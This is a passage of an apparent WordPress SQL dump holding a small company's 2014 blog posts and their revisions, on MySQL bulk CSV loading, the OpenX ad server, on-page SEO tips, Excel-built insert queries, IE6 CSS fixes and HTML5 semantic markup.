,\r\n`location_name` VARCHAR( 100 ) NOT NULL ,\r\n`status` TINYINT( 1 ) NOT NULL\r\n)\r\n\r\n\r\n\r\n\r\nCreate a temporary table with below fields.\r\n\r\nCREATE TABLE `tmp_data` (\r\n`empno` VARCHAR( 20 ) NOT NULL ,\r\n`fname` VARCHAR( 50 ) NOT NULL ,\r\n`lname` VARCHAR( 50 ) NOT NULL ,\r\n`location` VARCHAR( 50 ) NOT NULL ,\r\n`userid` INT( 11 ) NOT NULL ,\r\n`locationid` INT( 11 ) NOT NULL\r\n)\r\n\r\nlocationid will hold the location id from the locations master table. userid column will have the userid from the users table. We first populate these fields from actual tables and perform the batch insert/update.\r\n\r\n\r\n\r\n\r\n//load data to temp table from file\r\nLOAD DATA LOCAL INFILE \"E:\\\\data.csv\" INTO TABLE tmp_data FIELDS TERMINATED BY \"|\" IGNORE 1 LINES (empno,fname,lname,location);\r\n\r\n\r\n//Update location_id column in temp table. If any new location comes the a.locationid remains \'0\'\r\nUPDATE tmp_data a, locations b SET a.locationid = b.location_id WHERE a.location = b.location_name\r\n\r\n////Insert new locations into locations table where the location_id is 0.\r\nINSERT  INTO locations( location_name, status ) ( SELECT distinct location, \'1\' FROM tmp_data WHERE locationid = \'0\' )\r\n\r\n//Again update locationid column in temp table. With this step all rows have locationid filled.\r\nUPDATE tmp_data a, locations b SET a.locationid = b.location_id WHERE a.location = b.location_name;\r\n\r\n\r\n//Update userid column in temp table. for new users the a.userid remains \'0\'.\r\nUPDATE tmp_data a, users b set a.userid = b.user_id WHERE a.empno = b.empno;\r\n\r\n\r\n//Insert into users table where the userid is 0 - All New users will get inserted into users table.\r\nINSERT  INTO users(fn, ln, empno, locationid ) ( SELECT empno, fname, lname, location_id FROM tmp_data WHERE userid = \'0\' );\r\n\r\n\r\n//for already existing users where userid&gt;0 - Update users table with csv data\r\nUPDATE tmp_data a, users b set b.fn=a.fname, b.ln=a.lname, b.location_id=a.locationid WHERE a.userid=b.user_id and a.userid&gt;0','Uploading bulk data to database','','inherit','open','open','','218-revision-v1','','','2014-07-21 12:32:30','2014-07-21 12:32:30','',218,'http://localhost/yalavarthitechnologies/blog/?p=219',0,'revision','',0),(220,1,'2014-07-21 12:35:25','2014-07-21 12:35:25','<strong>Summary:</strong>\r\n\r\nOpenx is the open source ad management system tool. By which we can implement ad banners, video ads to be played before actual videos. Administrator can manage all the banners &amp; video ads from the openx admin panel without distrubing the site that using the ad management. It is very much user friendly and save our time for development. We can get the solution for any problem while using this open source tool from openx forums: <cite><b>forum</b></cite><cite>.<b>openx</b>.org.</cite>\r\n\r\nAnd the Openx website is: <a href=\"http://www.openx.org\">www.openx.org</a>','Ad Management System','','publish','open','open','','ad-management-system','','','2014-07-21 12:35:25','2014-07-21 12:35:25','',0,'http://localhost/yalavarthitechnologies/blog/?p=220',0,'post','',0),(221,1,'2014-07-21 12:37:37','2014-07-21 12:37:37','<strong>Summary:</strong>\r\n<ol start=\"1\">\r\n	<li><b><span style=\"text-decoration: underline;\">Adding HTML Comments</span></b></li>\r\n</ol>\r\n<b><span style=\"text-decoration: underline;\">\r\n</span></b> In HTML, you can add comments that aren\'t displayed to the user but that show up in the source code. Try adding in 2-4 comments that have your keyword phrases in them (along with some other words) throughout the body of your HTML source code. Again, this isn\'t something you should look over, but each little thing you do gets you one step closer to the top in search engine.\r\n\r\n&nbsp;\r\n<ol start=\"2\">\r\n	<li><b><span style=\"text-decoration: underline;\">Directory Structure &amp; Domain Name</span></b></li>\r\n</ol>\r\n<b><span style=\"text-decoration: underline;\">\r\n</span></b>When most people choose a domain, they don’t generally perform keyword research first to determine what their best keyword phrase is so they can ensure those keywords are in the URL. Maybe they should. Considering Google and other engines care most about relevancy and given the elements that they have at their disposal to determine relevancy, having a url, filename and path with your keyword phrases in it can’t hurt your cause at all.\r\n\r\nThink about it. If Google has two web sites, all other things being equal, that it needs to choose from to return for a search done on “WWII ”, which one do you think it finds more relevant:<a href=\"http://www.somesitenamehere.com/home.html\">\r\nhttp://www.somesitenamehere.com/home.html</a>  or\r\n\r\n<a href=\"http://www.wwii-firearms.com/wwii-guns.html\">http://www.WWII-Firearms.com/wwii-guns.html</a>\r\nI know which one I’d choose; and I also know which one the SE\'s (search engines) will choose as well!\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n<ol start=\"3\">\r\n	<li><b><span style=\"text-decoration: underline;\">Internal Linking Structure</span></b></li>\r\n</ol>\r\n<b><span style=\"text-decoration: underline;\">\r\n</span></b>Another factor that shows Google what level of importance you place on certain phrases is what text you use in hyperlinks (this text that the user clicks on is called anchor text). We see this very clearly in external inbound links to your site and the same holds true for the links you have internally leading your visitors to the various pages on your site.\r\n\r\nThink small changes here. For example, replace the anchor text named “Products” that leads a visitor to your product page with “Weight Loss Products” if you sell weight loss products. Also, if your site design allows it (and most do quite well these days), replace images in your navigation with text. This gives you more linking real estate to work with and if you use style sheets properly, your navigation elements will still look wonderful.\r\n<ol start=\"4\">\r\n	<li><b><span style=\"text-decoration: underline;\">Image Alt Tags</span></b></li>\r\n</ol>\r\nThis one is sort of famous and can be overdone quite easily. Every image on your site uses the &lt;img&gt;tag to display it. The alt attribute of this tag used to be use primarily in the early days of the internet when folks would quite frequently turn off images in their browser so that pages would load faster on the super slow connection speeds that were common at the time. The alt attribute of the &lt;img&gt;tag was the way of telling your user using a short text description, what they would have seen if they image displayed. Today everyone displays images and so having text here is still only valuable for one thing: seo.\r\n\r\nNow, while this is an effective technique to tell Google what your content is about, you shouldn\'t go crazy with this one. Reserve this for more significant images on the page such as logo, header image and important body/content images. The only exception to this is if for whatever reason you absolutely can\'t or won\'t replace navigation images with text. In this case, use alt text for each nav image as well.\r\n\r\n5.      <b><span style=\"text-decoration: underline;\">Site Load Time &amp; Good Neighborhood\r\n</span></b>This isn\'t one that people talk about a lot, but since it impacts rankings, we will. Picture it: two sites with all other things being equal; one loads in under 2 seconds and the other takes just under 30 seconds to load. Which one should rank higher? Yep, you guessed it...the quicker site gets the nod. Tips for improvement here are straightforward; optimize all site images, get the best hosting you can afford, and keep large slow loading files/functionality separate from your optimized content.\r\n\r\nAnother consideration here that is sort of along the same lines is your sites \"neighborhood\". Just as location, location, location is the most critical factor in the housing market, likewise it affects your rankings if your site is in a bad neighborhood. Here\'s how. If your site is hosted on the same IP block as a known spammer or a blacklisted server, Google doesn\'t KNOW that you are bad, but they have to guess that if your neighbors are bad, you MIGHT be. Again, it\'s not so much about receiving a penalty here, as much as it is not getting the nod.\r\n<ol start=\"6\">\r\n	<li><b><span style=\"text-decoration: underline;\">Meta Keyword &amp; Description Tags</span></b></li>\r\n</ol>\r\n<b><span style=\"text-decoration: underline;\">\r\n</span></b>Use meta tags or not to use meta tags...that is the question. This is quite possibly one of the most misunderstood yet highly talked about techniques out there. Listen, let\'s look at the facts; will Google or any other engine give this tag supreme importance over all other tags when going through their algorithm? Thanks to blackhat keyword spamming on these tags...the answer is NO, not ever again. BUT, does that mean that they aren\'t read and used for indexing?\r\n\r\nAbsolutely not.\r\n\r\nYou need to take every opportunity you have to plead your case as to why your page should be granted one of the top 10 spots when someone types that phrase in one of the major SE\'s. These tags are no exception. The key here is keyword density. You want a high keyword density, and you want to get it from keeping things short. DO NOT under any circumstances use the keyword tag as an opportunity to simply list out all 400 keyword phrases you wanted to optimize for when you did your research. For each page of your site, you should choose between 2-4 keyword phrases that you will optimize that page for. Those are the phrases that go in your keyword tag and that will be used in your description tag as well.\r\n<ol start=\"7\">\r\n	<li><b><span style=\"text-decoration: underline;\">Bold, <i>Italicize</i>, &amp; Underline Keyword Phrases</span></b></li>\r\n</ol>\r\n<b><span style=\"text-decoration: underline;\">\r\n</span></b>As SE\'s scan down your pages, they are trying to determine the importance you\'re giving to the phrases in your content. One way to help them along is to randomly \"add emphasis\" to your keyword phrases as you write your content. Using bold, italics and underlining will do just that. You should use all three sporadically, but due to the useability issues with having something underlined and people thinking it should be clickable, focus on just bold and italics most of the time.\r\n<ol start=\"8\">\r\n	<li><b><span style=\"text-decoration: underline;\">Scatter Keyword Phrases Throughout Your Content</span></b></li>\r\n</ol>\r\n<b><span style=\"text-decoration: underline;\">\r\n</span></b>This tip was born due to some of the blackhat SEO tricks like loading up on keywords either in the beginning of the page or at the end of the page. But it also just makes good common sense as to why it would help you rank higher for a keyword phrase. Spreading out your keyword phrases all over your page says to the search engines that your message to your users is consistent with the message your sending to them. Evenly disperse them if you can, but keep one important tip in mind: try to have at least 2 of your main keyword phrases found in the 1st 25 words and the last 25 words of your site.\r\n<ol start=\"9\">\r\n	<li><b><span style=\"text-decoration: underline;\">H1 &amp; H2 Tags</span></b></li>\r\n</ol>\r\n<b><span style=\"text-decoration: underline;\">\r\n</span></b>This is another one that stems back from \"the old days\" with how web pages were written and read. Before streaming content, image laden and extremely visually appealing pages, and in an age where 28.8k speeds were flying, the internet use to be white papers or mostly text documents that needed organization and flow. The method used to give those documents that organization was the use of header tags. The idea is this; in a page, the main idea or title is in the H1 tag and the second most important thought is in the H2 tag and so on down to H7. For SEO, we only care about H1 and H2 tags. I do occasionally use H3 tags as well, but I\'ve not seen any proof it helps rankings...I do it for asthetics.\r\n\r\nYou should always include your main keyword phrase within an H1 header tag. In addition, try to place your H1 header tag towards the top of your website (preferably the top left hand portion of your page).\r\n\r\nAs for H2 tags, they should always come after the H1 tag and should also include another one of your top keyword phrases for the page. If at all possible, if you can include ONLY your main keyword in both the H1 tag and H2 tag, that would benefit you the most due to the keyword density those tags would have, however sprinkling a few other words in to make sense won\'t hurt you.\r\n<ol start=\"10\">\r\n	<li><b><span style=\"text-decoration: underline;\">Title Tag</span></b></li>\r\n</ol>\r\n<b>\r\n</b>And we\'re down to number 10; which in our case is the most important on-page optimization technique you can use for your sites pages; the HTML Title Tag. This one tag tells the SE\'s in one small sentence what the entire page is going to be about. It\'s the thesis statement if you will for the page. Think of it as an introduction: \"Google, meet pagename. This page is about...\". The keywords your page is going to be optimized for should go in this tag and very little else. The best way to accomplish this while maintianing a title that is human friendly is to separate your keywords with pipes (|) or some other divider. So if you\'ve chosen 3 keyword phrases to optimize that page for, you\'d make your title tag look like this:\r\nKW Phrase 1 | KW Phrase 2 | KW Phrase 3\r\n\r\nThis is very powerful in that it gives your title tag very high keyword density for each phrase, especially if one keyword phrase is contained within another one','Search Engine optimization Techniques','','publish','open','open','','search-engine-optimization-techniques','','','2014-07-21 12:37:37','2014-07-21 12:37:37','',0,'http://localhost/yalavarthitechnologies/blog/?p=221',0,'post','',0),(222,1,'2014-07-21 12:35:25','2014-07-21 12:35:25','<strong>Summary:</strong>\r\n\r\nOpenx is the open source ad management system tool. By which we can implement ad banners, video ads to be played before actual videos. Administrator can manage all the banners &amp; video ads from the openx admin panel without distrubing the site that using the ad management. It is very much user friendly and save our time for development. We can get the solution for any problem while using this open source tool from openx forums: <cite><b>forum</b></cite><cite>.<b>openx</b>.org.</cite>\r\n\r\nAnd the Openx website is: <a href=\"http://www.openx.org\">www.openx.org</a>','Ad Management System','','inherit','open','open','','220-revision-v1','','','2014-07-21 12:35:25','2014-07-21 12:35:25','',220,'http://localhost/yalavarthitechnologies/blog/?p=222',0,'revision','',0),(223,1,'2014-07-21 12:36:13','2014-07-21 12:36:13','<strong>Summary:</strong>\n\nOpenx is the open source ad management system tool. By which we can implement ad banners, video ads to be played before actual videos. Administrator can manage all the banners &amp; video ads from the openx admin panel without distrubing the site that using the ad management. It is very much user friendly and save our time for development. We can get the solution for any problem while using this open source tool from openx forums: <cite><b>forum</b></cite><cite>.<b>openx</b>.org.</cite>\n\nAnd the Openx website is: <a href=\"http://www.openx.org\">www.openx.org</a>','Ad Management System','','inherit','open','open','','220-autosave-v1','','','2014-07-21 12:36:13','2014-07-21 12:36:13','',220,'http://localhost/yalavarthitechnologies/blog/?p=223',0,'revision','',0),(224,1,'2014-07-21 12:37:37','2014-07-21 12:37:37','<strong>Summary:</strong>\r\n<ol start=\"1\">\r\n	<li><b><span style=\"text-decoration: underline;\">Adding HTML Comments</span></b></li>\r\n</ol>\r\n<b><span style=\"text-decoration: underline;\">\r\n</span></b> In HTML, you can add comments that aren\'t displayed to the user but that show up in the source code. Try adding in 2-4 comments that have your keyword phrases in them (along with some other words) throughout the body of your HTML source code. Again, this isn\'t something you should look over, but each little thing you do gets you one step closer to the top in search engine.\r\n\r\n&nbsp;\r\n<ol start=\"2\">\r\n	<li><b><span style=\"text-decoration: underline;\">Directory Structure &amp; Domain Name</span></b></li>\r\n</ol>\r\n<b><span style=\"text-decoration: underline;\">\r\n</span></b>When most people choose a domain, they don’t generally perform keyword research first to determine what their best keyword phrase is so they can ensure those keywords are in the URL. Maybe they should. Considering Google and other engines care most about relevancy and given the elements that they have at their disposal to determine relevancy, having a url, filename and path with your keyword phrases in it can’t hurt your cause at all.\r\n\r\nThink about it. If Google has two web sites, all other things being equal, that it needs to choose from to return for a search done on “WWII ”, which one do you think it finds more relevant:<a href=\"http://www.somesitenamehere.com/home.html\">\r\nhttp://www.somesitenamehere.com/home.html</a>  or\r\n\r\n<a href=\"http://www.wwii-firearms.com/wwii-guns.html\">http://www.WWII-Firearms.com/wwii-guns.html</a>\r\nI know which one I’d choose; and I also know which one the SE\'s (search engines) will choose as well!\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n<ol start=\"3\">\r\n	<li><b><span style=\"text-decoration: underline;\">Internal Linking Structure</span></b></li>\r\n</ol>\r\n<b><span style=\"text-decoration: underline;\">\r\n</span></b>Another factor that shows Google what level of importance you place on certain phrases is what text you use in hyperlinks (this text that the user clicks on is called anchor text). We see this very clearly in external inbound links to your site and the same holds true for the links you have internally leading your visitors to the various pages on your site.\r\n\r\nThink small changes here. For example, replace the anchor text named “Products” that leads a visitor to your product page with “Weight Loss Products” if you sell weight loss products. Also, if your site design allows it (and most do quite well these days), replace images in your navigation with text. This gives you more linking real estate to work with and if you use style sheets properly, your navigation elements will still look wonderful.\r\n<ol start=\"4\">\r\n	<li><b><span style=\"text-decoration: underline;\">Image Alt Tags</span></b></li>\r\n</ol>\r\nThis one is sort of famous and can be overdone quite easily. Every image on your site uses the &lt;img&gt;tag to display it. The alt attribute of this tag used to be use primarily in the early days of the internet when folks would quite frequently turn off images in their browser so that pages would load faster on the super slow connection speeds that were common at the time. The alt attribute of the &lt;img&gt;tag was the way of telling your user using a short text description, what they would have seen if they image displayed. Today everyone displays images and so having text here is still only valuable for one thing: seo.\r\n\r\nNow, while this is an effective technique to tell Google what your content is about, you shouldn\'t go crazy with this one. Reserve this for more significant images on the page such as logo, header image and important body/content images. The only exception to this is if for whatever reason you absolutely can\'t or won\'t replace navigation images with text. In this case, use alt text for each nav image as well.\r\n\r\n5.      <b><span style=\"text-decoration: underline;\">Site Load Time &amp; Good Neighborhood\r\n</span></b>This isn\'t one that people talk about a lot, but since it impacts rankings, we will. Picture it: two sites with all other things being equal; one loads in under 2 seconds and the other takes just under 30 seconds to load. Which one should rank higher? Yep, you guessed it...the quicker site gets the nod. Tips for improvement here are straightforward; optimize all site images, get the best hosting you can afford, and keep large slow loading files/functionality separate from your optimized content.\r\n\r\nAnother consideration here that is sort of along the same lines is your sites \"neighborhood\". Just as location, location, location is the most critical factor in the housing market, likewise it affects your rankings if your site is in a bad neighborhood. Here\'s how. If your site is hosted on the same IP block as a known spammer or a blacklisted server, Google doesn\'t KNOW that you are bad, but they have to guess that if your neighbors are bad, you MIGHT be. Again, it\'s not so much about receiving a penalty here, as much as it is not getting the nod.\r\n<ol start=\"6\">\r\n	<li><b><span style=\"text-decoration: underline;\">Meta Keyword &amp; Description Tags</span></b></li>\r\n</ol>\r\n<b><span style=\"text-decoration: underline;\">\r\n</span></b>Use meta tags or not to use meta tags...that is the question. This is quite possibly one of the most misunderstood yet highly talked about techniques out there. Listen, let\'s look at the facts; will Google or any other engine give this tag supreme importance over all other tags when going through their algorithm? Thanks to blackhat keyword spamming on these tags...the answer is NO, not ever again. BUT, does that mean that they aren\'t read and used for indexing?\r\n\r\nAbsolutely not.\r\n\r\nYou need to take every opportunity you have to plead your case as to why your page should be granted one of the top 10 spots when someone types that phrase in one of the major SE\'s. These tags are no exception. The key here is keyword density. You want a high keyword density, and you want to get it from keeping things short. DO NOT under any circumstances use the keyword tag as an opportunity to simply list out all 400 keyword phrases you wanted to optimize for when you did your research. For each page of your site, you should choose between 2-4 keyword phrases that you will optimize that page for. Those are the phrases that go in your keyword tag and that will be used in your description tag as well.\r\n<ol start=\"7\">\r\n	<li><b><span style=\"text-decoration: underline;\">Bold, <i>Italicize</i>, &amp; Underline Keyword Phrases</span></b></li>\r\n</ol>\r\n<b><span style=\"text-decoration: underline;\">\r\n</span></b>As SE\'s scan down your pages, they are trying to determine the importance you\'re giving to the phrases in your content. One way to help them along is to randomly \"add emphasis\" to your keyword phrases as you write your content. Using bold, italics and underlining will do just that. You should use all three sporadically, but due to the useability issues with having something underlined and people thinking it should be clickable, focus on just bold and italics most of the time.\r\n<ol start=\"8\">\r\n	<li><b><span style=\"text-decoration: underline;\">Scatter Keyword Phrases Throughout Your Content</span></b></li>\r\n</ol>\r\n<b><span style=\"text-decoration: underline;\">\r\n</span></b>This tip was born due to some of the blackhat SEO tricks like loading up on keywords either in the beginning of the page or at the end of the page. But it also just makes good common sense as to why it would help you rank higher for a keyword phrase. Spreading out your keyword phrases all over your page says to the search engines that your message to your users is consistent with the message your sending to them. Evenly disperse them if you can, but keep one important tip in mind: try to have at least 2 of your main keyword phrases found in the 1st 25 words and the last 25 words of your site.\r\n<ol start=\"9\">\r\n	<li><b><span style=\"text-decoration: underline;\">H1 &amp; H2 Tags</span></b></li>\r\n</ol>\r\n<b><span style=\"text-decoration: underline;\">\r\n</span></b>This is another one that stems back from \"the old days\" with how web pages were written and read. Before streaming content, image laden and extremely visually appealing pages, and in an age where 28.8k speeds were flying, the internet use to be white papers or mostly text documents that needed organization and flow. The method used to give those documents that organization was the use of header tags. The idea is this; in a page, the main idea or title is in the H1 tag and the second most important thought is in the H2 tag and so on down to H7. For SEO, we only care about H1 and H2 tags. I do occasionally use H3 tags as well, but I\'ve not seen any proof it helps rankings...I do it for asthetics.\r\n\r\nYou should always include your main keyword phrase within an H1 header tag. In addition, try to place your H1 header tag towards the top of your website (preferably the top left hand portion of your page).\r\n\r\nAs for H2 tags, they should always come after the H1 tag and should also include another one of your top keyword phrases for the page. If at all possible, if you can include ONLY your main keyword in both the H1 tag and H2 tag, that would benefit you the most due to the keyword density those tags would have, however sprinkling a few other words in to make sense won\'t hurt you.\r\n<ol start=\"10\">\r\n	<li><b><span style=\"text-decoration: underline;\">Title Tag</span></b></li>\r\n</ol>\r\n<b>\r\n</b>And we\'re down to number 10; which in our case is the most important on-page optimization technique you can use for your sites pages; the HTML Title Tag. This one tag tells the SE\'s in one small sentence what the entire page is going to be about. It\'s the thesis statement if you will for the page. Think of it as an introduction: \"Google, meet pagename. This page is about...\". The keywords your page is going to be optimized for should go in this tag and very little else. The best way to accomplish this while maintianing a title that is human friendly is to separate your keywords with pipes (|) or some other divider. So if you\'ve chosen 3 keyword phrases to optimize that page for, you\'d make your title tag look like this:\r\nKW Phrase 1 | KW Phrase 2 | KW Phrase 3\r\n\r\nThis is very powerful in that it gives your title tag very high keyword density for each phrase, especially if one keyword phrase is contained within another one','Search Engine optimization Techniques','','inherit','open','open','','221-revision-v1','','','2014-07-21 12:37:37','2014-07-21 12:37:37','',221,'http://localhost/yalavarthitechnologies/blog/?p=224',0,'revision','',0),(225,1,'2014-07-21 12:39:35','2014-07-21 12:39:35','<strong>Summary:</strong>\r\n\r\nIn Most of our project we got data from client in an excel file and we have to insert the same in our database. If excel data is complex then it is feasible to write the program to read the excel file and write the data back to the desired database.\r\n\r\nIf  it is a simple excel file and it requires only simple queries to be pass then we can use excel to format the insert query and run the same in the sql yog window without involving a single line of code.\r\n\r\nFor example I am using the country table structure as defined below\r\n\r\nCreate table country\r\n(\r\ncountry_id primary key auto increment,\r\ncountry_name varchar(50),\r\ncountry_status char(1)\r\n)\r\n\r\nBelow is the query which I am going to use for data insert into country table\r\n\r\nInsert into country(country_name,country_status) values (\'India\',\'A\');\r\n\r\nWatch the video below','Creating insert query using excel','','publish','open','open','','creating-insert-query-using-excel','','','2014-07-21 12:39:35','2014-07-21 12:39:35','',0,'http://localhost/yalavarthitechnologies/blog/?p=225',0,'post','',0),(226,1,'2014-07-21 12:39:35','2014-07-21 12:39:35','<strong>Summary:</strong>\r\n\r\nIn Most of our project we got data from client in an excel file and we have to insert the same in our database. If excel data is complex then it is feasible to write the program to read the excel file and write the data back to the desired database.\r\n\r\nIf  it is a simple excel file and it requires only simple queries to be pass then we can use excel to format the insert query and run the same in the sql yog window without involving a single line of code.\r\n\r\nFor example I am using the country table structure as defined below\r\n\r\nCreate table country\r\n(\r\ncountry_id primary key auto increment,\r\ncountry_name varchar(50),\r\ncountry_status char(1)\r\n)\r\n\r\nBelow is the query which I am going to use for data insert into country table\r\n\r\nInsert into country(country_name,country_status) values (\'India\',\'A\');\r\n\r\nWatch the video below','Creating insert query using excel','','inherit','open','open','','225-revision-v1','','','2014-07-21 12:39:35','2014-07-21 12:39:35','',225,'http://localhost/yalavarthitechnologies/blog/?p=226',0,'revision','',0),(227,1,'2014-07-21 12:41:07','2014-07-21 12:41:07','<strong>Summary:</strong>\r\n\r\n<b>Set position: relative</b>\r\nSetting an element to <code>position:relative</code> solves a multitude of problems, especially if you have ever experienced invisible or strangely aligned boxes. Obviously, you need to be careful that absolutely-positioned child nodes are repositioned accordingly.\r\n\r\n<b>Use display:inline for floated elements</b>\r\nFloated elements with a margin can fire the famous IE6 double-margin bug, e.g. you specify a left margin of 5px and actually get 10px.<code>display:inline</code> will fix the problem and, although it should not be required, your CSS remains valid.\r\n\r\n<b>Use only &lt;a&gt; tags for clickable and hovered elements</b>\r\nIE6 can only apply CSS hover effects to &lt;a&gt; tags.\r\n\r\nYou should also use them for controls within JavaScript-powered widgets so they remain keyboard navigable. There are some alternative options, but &lt;a&gt; tags are more reliable than most solutions.\r\n\r\n&nbsp;\r\n<h5>Height:100% on a position absolute div do not work.</h5>\r\nIE6 will not understand the 100% because it’s parent don’t have an height property, Need to <b>add a fixed height to it’s parent.</b>\r\n\r\n&nbsp;\r\n\r\n<b>Test early and test often</b>\r\nNever leave IE6 testing until your website or application is complete; the problems will be worse and take longer to fix. If your site works in Firefox and IE6, it is almost certain to work in other browsers.','Solve IE6 Problems','','publish','open','open','','solve-ie6-problems','','','2014-07-21 12:41:07','2014-07-21 12:41:07','',0,'http://localhost/yalavarthitechnologies/blog/?p=227',0,'post','',0),(228,1,'2014-07-21 12:41:07','2014-07-21 12:41:07','<strong>Summary:</strong>\r\n\r\n<b>Set position: relative</b>\r\nSetting an element to <code>position:relative</code> solves a multitude of problems, especially if you have ever experienced invisible or strangely aligned boxes. Obviously, you need to be careful that absolutely-positioned child nodes are repositioned accordingly.\r\n\r\n<b>Use display:inline for floated elements</b>\r\nFloated elements with a margin can fire the famous IE6 double-margin bug, e.g. you specify a left margin of 5px and actually get 10px.<code>display:inline</code> will fix the problem and, although it should not be required, your CSS remains valid.\r\n\r\n<b>Use only &lt;a&gt; tags for clickable and hovered elements</b>\r\nIE6 can only apply CSS hover effects to &lt;a&gt; tags.\r\n\r\nYou should also use them for controls within JavaScript-powered widgets so they remain keyboard navigable. There are some alternative options, but &lt;a&gt; tags are more reliable than most solutions.\r\n\r\n&nbsp;\r\n<h5>Height:100% on a position absolute div do not work.</h5>\r\nIE6 will not understand the 100% because it’s parent don’t have an height property, Need to <b>add a fixed height to it’s parent.</b>\r\n\r\n&nbsp;\r\n\r\n<b>Test early and test often</b>\r\nNever leave IE6 testing until your website or application is complete; the problems will be worse and take longer to fix. If your site works in Firefox and IE6, it is almost certain to work in other browsers.','Solve IE6 Problems','','inherit','open','open','','227-revision-v1','','','2014-07-21 12:41:07','2014-07-21 12:41:07','',227,'http://localhost/yalavarthitechnologies/blog/?p=228',0,'revision','',0),(229,1,'2014-07-21 12:43:42','2014-07-21 12:43:42','<strong>Summary:</strong>\r\n\r\n<b>HTML 5 adds new elements to specifically identify each of these common constructs:</b>\r\n\r\nheader: The page header shown on the page; not the same as the head element\r\n\r\nsection: A part or chapter in a book, a section in a chapter, or essentially anythingthat has its own heading in HTML 4\r\n\r\nnav: A collection of links to other pages\r\n\r\narticle: An independent entry in a blog, magazine, compendium, and so forth\r\n\r\nfooter: The page footer where the fine print goes; the signature in an e-mail message\r\n\r\n<b><span style=\"text-decoration: underline;\">HTML5</span></b>\r\n\r\n&lt;!DOCTYPE HTML&gt;\r\n\r\n&lt;html&gt;\r\n\r\n&lt;head&gt;\r\n\r\n&lt;meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\"&gt;\r\n\r\n&lt;title&gt; == HTML 5 == &lt;/title&gt;\r\n\r\n&lt;/head&gt;\r\n\r\n&lt;body&gt;\r\n\r\n&lt;header&gt;\r\n\r\n&lt;h1&gt;&lt;a href=\"#\"&gt;Hobo Web&lt;/a&gt;&lt;/h1&gt;\r\n\r\n&lt;/header&gt;\r\n\r\n&lt;section&gt;\r\n\r\n&lt;article&gt;\r\n\r\n&lt;h2&gt;&lt;a href=\"#\"&gt;Test Page 1&lt;/a&gt;&lt;/h2&gt;\r\n\r\n&lt;p&gt;Article Text here&lt;/p&gt;\r\n\r\n&lt;/article&gt;\r\n\r\n&lt;article&gt;\r\n\r\n&lt;h2&gt;&lt;a href=\"#\"&gt;Test 2&lt;/a&gt;&lt;/h2&gt;\r\n\r\n&lt;p&gt;Article Text 2 here&lt;/p&gt;\r\n\r\n&lt;/article&gt;\r\n\r\n&lt;nav&gt;\r\n\r\n&lt;a href=\"#\"&gt;Â« Previous Entries&lt;/a&gt;\r\n\r\n&lt;/nav&gt;\r\n\r\n&lt;/section&gt;\r\n\r\n&lt;nav&gt;\r\n\r\n&lt;ul&gt;\r\n\r\n&lt;li&gt;&lt;h2&gt;Hobo Stuff&lt;/h2&gt;\r\n\r\n&lt;ul&gt;\r\n\r\n&lt;li&gt;&lt;a href=\"#\"&gt;Comment Policy&lt;/a&gt;&lt;/li&gt;\r\n\r\n&lt;li&gt;&lt;a href=\"#\"&gt;Todo List&lt;/a&gt;&lt;/li&gt;\r\n\r\n&lt;/ul&gt;\r\n\r\n&lt;/li&gt;\r\n\r\n&lt;li&gt;&lt;h2&gt;Archives&lt;/h2&gt;\r\n\r\n&lt;ul&gt;\r\n\r\n&lt;li&gt;&lt;a href=\'#\'&gt;April 2008&lt;/a&gt;&lt;/li&gt;\r\n\r\n&lt;li&gt;&lt;a href=\'#\'&gt;March 2008&lt;/a&gt;&lt;/li&gt;\r\n\r\n&lt;li&gt;&lt;a href=\'#\'&gt;February 2008&lt;/a&gt;&lt;/li&gt;\r\n\r\n&lt;li&gt;&lt;a href=\'#\'&gt;January 2008&lt;/a&gt;&lt;/li&gt;\r\n\r\n&lt;/ul&gt;\r\n\r\n&lt;/li&gt;\r\n\r\n&lt;/ul&gt;\r\n\r\n&lt;/nav&gt;\r\n\r\n&lt;footer&gt;\r\n\r\n&lt;p&gt;Copyright 2008 Hobo Web LTD&lt;/p&gt;\r\n\r\n&lt;/footer&gt;\r\n\r\n&lt;/body&gt;\r\n\r\n&lt;/html&gt;\r\n\r\n<b><span style=\"text-decoration: underline;\">HTML</span></b>\r\n\r\n&lt;!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\r\n\r\n&lt;html xmlns=\"http://www.w3.org/1999/xhtml\"&gt;\r\n\r\n&lt;head&gt;\r\n\r\n&lt;meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /&gt;\r\n\r\n&lt;title&gt; == HTML == &lt;/title&gt;\r\n\r\n&lt;/head&gt;\r\n\r\n&lt;body&gt;\r\n\r\n&lt;div id=\"page\"&gt;\r\n\r\n&lt;div id=\"header\"&gt;\r\n\r\n&lt;h1&gt;&lt;a href=\"#\"&gt;Hello Web&lt;/a&gt;&lt;/h1&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;div id=\"container\"&gt;\r\n\r\n&lt;div id=\"center\"&gt;\r\n\r\n&lt;div id=\"post-102\"&gt;\r\n\r\n&lt;h2&gt;&lt;a href=\"#\"&gt;Test Page 1&lt;/a&gt;&lt;/h2&gt;\r\n\r\n&lt;div&gt;\r\n\r\n&lt;p&gt;Article Text here&lt;/p&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;div id=\"post-101\"&gt;\r\n\r\n&lt;h2&gt;&lt;a href=\"#\"&gt;Test 2&lt;/a&gt;&lt;/h2&gt;\r\n\r\n&lt;div&gt;\r\n\r\n&lt;p&gt;Article 2 Text here&lt;/p&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;div&gt;\r\n\r\n&lt;div&gt;\r\n\r\n&lt;a href=\"#\"&gt;Previous Entries&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;div&gt;&lt;/div&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;div id=\"right\"&gt;\r\n\r\n&lt;ul id=\"sidebar\"&gt;\r\n\r\n&lt;li&gt;&lt;h2&gt;Hobo Stuff&lt;/h2&gt;\r\n\r\n&lt;ul&gt;\r\n\r\n&lt;li&gt;&lt;a href=\"#\"&gt;Comment 